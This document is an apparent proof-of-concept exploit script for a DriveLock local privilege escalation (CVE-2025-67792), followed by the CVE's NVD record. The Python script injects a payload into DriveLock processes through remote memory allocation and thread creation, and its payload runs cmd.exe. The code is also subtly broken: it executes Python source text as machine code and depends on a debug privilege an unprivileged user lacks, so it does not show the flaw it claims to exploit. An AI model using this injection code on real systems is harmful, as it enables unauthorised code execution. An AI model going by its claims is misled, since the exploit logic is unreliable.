CVE-2025-67792

# CVE-2025-67792 DriveLock Local Privilege Escalation PoC # This is a conceptual PoC demonstrating the attack vector import ctypes import os import sys import time import win32api import win32security import win32process def get_current_privileges(): """Get current process privileges""" token = win32security.OpenProcessToken(win32api.GetCurrentProcess(), win32security.TOKEN_QUERY) privileges = win32security.GetTokenInformation(token, win32security.TokenPrivileges) return privileges def enable_privilege(privilege_name): """Enable a specific privilege""" try: token = win32security.OpenProcessToken(win32api.GetCurrentProcess(), win32security.TOKEN_ADJUST_PRIVILEGES | win32security.TOKEN_QUERY) luid = win32security.LookupPrivilegeValue(None, privilege_name) win32security.AdjustTokenPrivileges(token, False, [(luid, win32security.SE_PRIVILEGE_ENABLED)]) return True except Exception as e: print(f"Failed to enable {privilege_name}: {e}") return False def find_drivelock_process(): """Find DriveLock process""" processes = win32process.EnumProcesses() drivelock_pids = [] for pid in processes: try: handle = win32api.OpenProcess(win32process.PROCESS_QUERY_INFORMATION, False, pid) name = win32process.GetModuleBaseName(handle, 0) if 'DriveLock' in name or 'DL' in name: drivelock_pids.append((pid, name)) win32api.CloseHandle(handle) except: pass return drivelock_pids def exploit_drivelock(target_pid, payload): """ Exploit CVE-2025-67792 by manipulating DriveLock process This demonstrates the privilege escalation vector """ print(f"[*] Target DriveLock process PID: {target_pid}") # Step 1: Obtain debug privileges for process manipulation enable_privilege(win32security.SE_DEBUG_PRIVILEGE) # Step 2: Open handle to DriveLock process with high privileges try: target_handle = win32api.OpenProcess( win32process.PROCESS_ALL_ACCESS, False, target_pid ) print(f"[+] Opened handle to DriveLock process") except Exception as e: print(f"[-] Failed to open process handle: {e}") return False # Step 3: Allocate memory in target process for payload payload_bytes = payload.encode('utf-8') remote_memory = ctypes.windll.kernel32.VirtualAllocEx( target_handle, None, len(payload_bytes), win32process.MEM_COMMIT | win32process.MEM_RESERVE, win32process.PAGE_EXECUTE_READWRITE ) if remote_memory: print(f"[+] Allocated memory at: 0x{remote_memory:x}") # Step 4: Write payload to remote process memory written = ctypes.windll.kernel32.WriteProcessMemory( target_handle, remote_memory, payload_bytes, len(payload_bytes) ) if written: print("[+] Payload written to target process") # Step 5: Create remote thread to execute payload thread_id = ctypes.windll.kernel32.CreateRemoteThread( target_handle, None, 0, remote_memory, None, 0, None ) if thread_id: print("[+] Remote thread created - Payload execution successful!") ctypes.windll.kernel32.WaitForSingleObject(thread_id, 60000) return True return False def main(): print("="*60) print("CVE-2025-67792 DriveLock Local Privilege Escalation PoC") print("="*60) # Display current privileges print("\n[*] Current process privileges:") privs = get_current_privileges() for priv_id, flags in privs: try: name = win32security.LookupPrivilegeName(None, priv_id) if flags & win32security.SE_PRIVILEGE_ENABLED: print(f" - {name} (ENABLED)") except: pass # Find DriveLock processes print("\n[*] Searching for DriveLock processes...") drivelock_procs = find_drivelock_process() if not drivelock_procs: print("[-] No DriveLock processes found") return for pid, name in drivelock_procs: print(f" Found: {name} (PID: {pid})") # Payload: Spawn a high-privilege command prompt payload = ''' import ctypes ctypes.windll.msvcrt.system("cmd.exe /c whoami > C:\\\\temp_priv_esc.txt") ''' # Attempt exploitation for pid, name in drivelock_procs: print(f"\n[*] Attempting exploitation against {name} (PID: {pid})...") if exploit_drivelock(pid, payload): print("[+] Exploitation successful!") break if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-67792", "sourceIdentifier": "[email protected]", "published": "2025-12-17T21:16:16.340", "lastModified": "2025-12-18T20:16:08.500", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in DriveLock 24.1 before 24.1.6, 24.2 before 24.2.7, and 25.1 before 25.1.5. Local unprivileged users can manipulate a DriveLock process to execute arbitrary commands on Windows computers."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.0, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-269"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:drivelock:drivelock:*:*:*:*:*:*:*:*", "versionStartIncluding": "24.1", "versionEndExcluding": "24.1.6", "matchCriteriaId": "540852DA-B4D8-400B-8147-35960DD28869"}, {"vulnerable": true, "criteria": "cpe:2.3:a:drivelock:drivelock:*:*:*:*:*:*:*:*", "versionStartIncluding": "24.2", "versionEndExcluding": "24.2.7", "matchCriteriaId": "543CFF8B-6105-4B74-B810-94CFF0F429E2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:drivelock:drivelock:*:*:*:*:*:*:*:*", "versionStartIncluding": "25.1", "versionEndExcluding": "25.1.5", "matchCriteriaId": "BC33832C-D3F8-44BA-9385-DFAD7E4F1C12"}]}]}], "references": [{"url": "https://drivelock.help/versions/current/web/en/releasenotes/Content/ReleaseNotes_DriveLock/SecurityBulletins/25-007-LocalPrivilegeEsc.htm", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}